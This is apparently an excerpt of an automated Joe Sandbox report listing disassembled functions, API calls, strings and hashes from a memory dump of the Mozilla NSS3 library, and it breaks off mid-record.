PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CBB9D42

Strings

ulUsernameLen = %d, xrefs: 6CBB9D3D
ulPinLen = %d, xrefs: 6CBB9D0B
(CK_INVALID_HANDLE), xrefs: 6CBB9C9C
pUsername = 0x%p, xrefs: 6CBB9D24
pPin = 0x%p, xrefs: 6CBB9CF0
userType = 0x%x, xrefs: 6CBB9CD5
C_LoginUser, xrefs: 6CBB9C61
hSession = 0x%x, xrefs: 6CBB9C7E, 6CBB9C8E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 73c32344e273fdc113a8c7bf8da8ccdad0058c5976d54729533b0375b701ef9c
Instruction ID: fa528a586f005bacc41820c535c63182bb4388b268eb6d02c75c401776ddd118
Opcode Fuzzy Hash: 73c32344e273fdc113a8c7bf8da8ccdad0058c5976d54729533b0375b701ef9c
Instruction Fuzzy Hash: 4941C335A01195ABDB04DF55DD58BAE3BB1EB5B30AF094015F408B7711EF309919CBA2

Function 6CB71FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CB72007
calloc.MOZGLUE(00000001,00000084), ref: 6CB72077
calloc.MOZGLUE(00000001,0000002C), ref: 6CB720DF
TlsSetValue.KERNEL32(00000000), ref: 6CB72188
PR_NewCondVar.NSS3 ref: 6CB721B7
calloc.MOZGLUE(00000001,00000084), ref: 6CB7221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CB722C2
GetLastError.KERNEL32 ref: 6CB722CD
free.MOZGLUE(00000000), ref: 6CB722DD

Part of subcall function 6CB70F00: PR_GetPageSize.NSS3(6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F1B
Part of subcall function 6CB70F00: PR_NewLogModule.NSS3(clock,6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F25

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: 9b00f9441c04b8216b0707749a3972053d0a680e476d6e17f35d76c346f653fb
Instruction ID: 132b2d9905a86d974d69838fc6071a15efca06200db619507e115cf41218941a
Opcode Fuzzy Hash: 9b00f9441c04b8216b0707749a3972053d0a680e476d6e17f35d76c346f653fb
Instruction Fuzzy Hash: F4916C70A01742CFDB64DF38D84975B7BF4FB0A709F04452AE95AD6A80EB70A145CFA2

Function 6CC128C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CC15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC15B56

TlsGetValue.KERNEL32 ref: 6CC1290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CC1291E
TlsGetValue.KERNEL32 ref: 6CC12937
EnterCriticalSection.KERNEL32(00000001), ref: 6CC1294B
PR_EnterMonitor.NSS3(?), ref: 6CC12966
PR_EnterMonitor.NSS3(?), ref: 6CC129AC
PR_ExitMonitor.NSS3(?), ref: 6CC129D1
PR_EnterMonitor.NSS3(?), ref: 6CC129F0
PR_EnterMonitor.NSS3(?), ref: 6CC12A15
PR_EnterMonitor.NSS3(?), ref: 6CC12A37
PR_ExitMonitor.NSS3(?), ref: 6CC12A61
PR_ExitMonitor.NSS3(?), ref: 6CC12A78
PR_ExitMonitor.NSS3(?), ref: 6CC12A8F
PR_ExitMonitor.NSS3(?), ref: 6CC12AA6

Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC4945B
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC49479
Part of subcall function 6CC49440: EnterCriticalSection.KERNEL32 ref: 6CC49495
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC494E4
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC49532
Part of subcall function 6CC49440: LeaveCriticalSection.KERNEL32 ref: 6CC4955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CC12AF9
free.MOZGLUE(?), ref: 6CC12B16
PR_Unlock.NSS3(?), ref: 6CC12B6D
PR_Unlock.NSS3(?), ref: 6CC12B80

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 4a23c3db03e40f2f3975e04a918bedc2f55d8d281b933129544cf0f0fc2853d3
Instruction ID: ca2d86b4537aa780923abb3c9519995ddbd3258ad156e9fff5893bd81cd84f88
Opcode Fuzzy Hash: 4a23c3db03e40f2f3975e04a918bedc2f55d8d281b933129544cf0f0fc2853d3
Instruction Fuzzy Hash: E081D6B5A047005BEB209F39EC55B97B7F9AF06309F048928D85AC7B11FB32E519CB91

Function 6CC99C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CC99C70
PR_NewLock.NSS3 ref: 6CC99C85

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

PR_NewCondVar.NSS3(00000000), ref: 6CC99C96

Part of subcall function 6CB6BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CB721BC), ref: 6CB6BB8C

PR_NewLock.NSS3 ref: 6CC99CA9

Part of subcall function 6CC498D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CC49946
Part of subcall function 6CC498D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB016B7,00000000), ref: 6CC4994E
Part of subcall function 6CC498D0: free.MOZGLUE(00000000), ref: 6CC4995E

PR_NewLock.NSS3 ref: 6CC99CB9
PR_NewLock.NSS3 ref: 6CC99CC9
PR_NewCondVar.NSS3(00000000), ref: 6CC99CDA

Part of subcall function 6CB6BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB6BBEB
Part of subcall function 6CB6BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CB6BBFB
Part of subcall function 6CB6BB80: GetLastError.KERNEL32 ref: 6CB6BC03
Part of subcall function 6CB6BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CB6BC19
Part of subcall function 6CB6BB80: free.MOZGLUE(00000000), ref: 6CB6BC22

PR_NewCondVar.NSS3(?), ref: 6CC99CF0
PR_NewPollableEvent.NSS3 ref: 6CC99D03

Part of subcall function 6CC8F3B0: PR_CallOnce.NSS3(6CCE14B0,6CC8F510), ref: 6CC8F3E6
Part of subcall function 6CC8F3B0: PR_CreateIOLayerStub.NSS3(6CCE006C), ref: 6CC8F402
Part of subcall function 6CC8F3B0: PR_Malloc.NSS3(00000004), ref: 6CC8F416
Part of subcall function 6CC8F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CC8F42D
Part of subcall function 6CC8F3B0: PR_SetSocketOption.NSS3(?), ref: 6CC8F455
Part of subcall function 6CC8F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CC8F473

Part of subcall function 6CC49890: TlsGetValue.KERNEL32(?,?,?,6CC497EB), ref: 6CC4989E

EnterCriticalSection.KERNEL32(?), ref: 6CC99D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CC99DAF
_PR_CreateThread.NSS3(00000000,6CC99EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CC99D9F

Part of subcall function 6CB6B3C0: TlsGetValue.KERNEL32 ref: 6CB6B403
Part of subcall function 6CB6B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CB6B459

_PR_CreateThread.NSS3(00000000,6CC9A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CC99DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CC99DFC
_PR_CreateThread.NSS3(00000000,6CC9A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CC99E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CC99E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CC99E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC99E89

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 15f64610005bdc1b7cf5fb2cd9b6023ca3a32913d1951c27785d06d383ee6133
Instruction ID: f934bef3957bbd2a01ce7dd92aaa4a016f2bc50d16582b88ed94ba358b558898
Opcode Fuzzy Hash: 15f64610005bdc1b7cf5fb2cd9b6023ca3a32913d1951c27785d06d383ee6133
Instruction Fuzzy Hash: 63613FB5A01706AFD711DF75D844A67BBF8FF08208B04852AE859C7B11FB70E854CBA1

Function 6CB93FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CB94014

Part of subcall function 6CB939F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CB95E6F,?), ref: 6CB93A08
Part of subcall function 6CB939F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CB95E6F), ref: 6CB93A1C
Part of subcall function 6CB939F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB93A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CB94038

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CB9404D

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CCAA0F4), ref: 6CB940C2

Part of subcall function 6CBDF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CBDF0C8
Part of subcall function 6CBDF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBDF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CB9409A

Part of subcall function 6CBDBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CB8E708,00000000,00000000,00000004,00000000), ref: 6CBDBE6A
Part of subcall function 6CBDBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB904DC,?), ref: 6CBDBE7E
Part of subcall function 6CBDBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBDBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB940DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB940F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB94108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CB9411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CB94137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CB94150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CCAA1C8), ref: 6CB9417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CB94194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CB941A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB941B2
PK11_DestroyObject.NSS3(?,?), ref: 6CB941D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB941FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CCAA1A8), ref: 6CB9422D

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 2c1619723497d402483c2ca40c3ffee468ff5c2fd06900069f45267c344e3b22
Instruction ID: 22fa6b913d190ede47bbce1aba6d008c2190ecf3902feb97d9d7a29c3795a80e
Opcode Fuzzy Hash: 2c1619723497d402483c2ca40c3ffee468ff5c2fd06900069f45267c344e3b22
Instruction Fuzzy Hash: 275127B1A403416BF7109B25DC41B6B7AECDF5634CF054938E96AC6F42FB31E5088AA3

Function 6CBD8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CBD8E01,00000000,6CBD9060,6CCE0B64), ref: 6CBD8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CBD8E01,00000000,6CBD9060,6CCE0B64), ref: 6CBD8E9E
PORT_ArenaAlloc_Util.NSS3(6CCE0B64,00000001,?,?,?,?,6CBD8E01,00000000,6CBD9060,6CCE0B64), ref: 6CBD8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CBD8E01,00000000,6CBD9060,6CCE0B64), ref: 6CBD8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CBD8E01,00000000,6CBD9060,6CCE0B64), ref: 6CBD8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CBD8E01,00000000,6CBD9060,6CCE0B64), ref: 6CBD8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CBD8E01), ref: 6CBD8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CCE0B64,6CCE0B64), ref: 6CBD8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CBD8F3F

Part of subcall function 6CBDA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CBDA421,00000000,00000000,6CBD9826), ref: 6CBDA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBD904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CBD8E76

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b5eedb3fa24c34b66de64fa20adf5f4c9b1d1db503168681a708c5b27acf6408
Instruction ID: aad9e1a2c406e1b6d61d316fde751cc41922099c2ac9dc4be145db09b4d5c621
Opcode Fuzzy Hash: b5eedb3fa24c34b66de64fa20adf5f4c9b1d1db503168681a708c5b27acf6408
Instruction Fuzzy Hash: A2617CB5D002469BDB10CF55DC80AAFBBB9FF88359F154528DC18A7701EB32B915CBA2

Function 6CB88E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB88E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CB88E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB88EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CCB18D0,?), ref: 6CB88F03
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CB88F19
PL_FreeArenaPool.NSS3(?), ref: 6CB88F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB88F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB88F65
PL_FinishArenaPool.NSS3(?), ref: 6CB88FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CB88FFE
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CB89012
PL_FreeArenaPool.NSS3(?), ref: 6CB89024
PL_FinishArenaPool.NSS3(?), ref: 6CB8902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CB8903E

Strings

security, xrefs: 6CB88EE7

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 3d2486eac0dbcd2a2ca179a7b588227449a144da0a91809c1a5618ea7b0d922c
Instruction ID: 480bedc1b14089d3a7c73c80046238b7da26ad2a03b5436045aa27cdefea399b
Opcode Fuzzy Hash: 3d2486eac0dbcd2a2ca179a7b588227449a144da0a91809c1a5618ea7b0d922c
Instruction Fuzzy Hash: 6E5139B1509380ABEB109B58DC41FAF77A8EB8979CF54082EF94597B40E732D908C763

Function 6CBB4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CBB4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB4EC7

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CBB4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CBB4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CBB4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CBB4F68

Strings

(CK_INVALID_HANDLE), xrefs: 6CBB4EC0, 6CBB4F13
ulCount = %d, xrefs: 6CBB4F63
hObject = 0x%x, xrefs: 6CBB4EF5, 6CBB4F05
pTemplate = 0x%p, xrefs: 6CBB4F4A
hSession = 0x%x, xrefs: 6CBB4EA2, 6CBB4EB2
C_GetAttributeValue, xrefs: 6CBB4E7E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 2c869dbf03348889ffcfc9a6d70a1594d177d093c919bc71ce4a5767e94c9522
Instruction ID: 4464fc6e14787a8e2ca62e4ed7c99f5d432ffa169e6b7986581cda0da06b2bee
Opcode Fuzzy Hash: 2c869dbf03348889ffcfc9a6d70a1594d177d093c919bc71ce4a5767e94c9522
Instruction Fuzzy Hash: 5D41C231601185ABDB04DB54DD58FAE77B5EB4730DF058024F408A7A11EF349E49CFA2

Function 6CBB4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CBB4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB4D37

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CBB4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CBB4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CBB4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CBB4E20

Strings

(CK_INVALID_HANDLE), xrefs: 6CBB4D30, 6CBB4D83
*pulSize = 0x%x, xrefs: 6CBB4E1B
hObject = 0x%x, xrefs: 6CBB4D65, 6CBB4D75
C_GetObjectSize, xrefs: 6CBB4CEE
hSession = 0x%x, xrefs: 6CBB4D12, 6CBB4D22
pulSize = 0x%p, xrefs: 6CBB4DB7

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: a7645886414e104e2926d57dd687c2c2af1d5939c78760d3f6a795fa6dea6a72
Instruction ID: fa7317f312bf57b1cd53371004aa184a4852ebb3543561fc0046b7588916a4d5
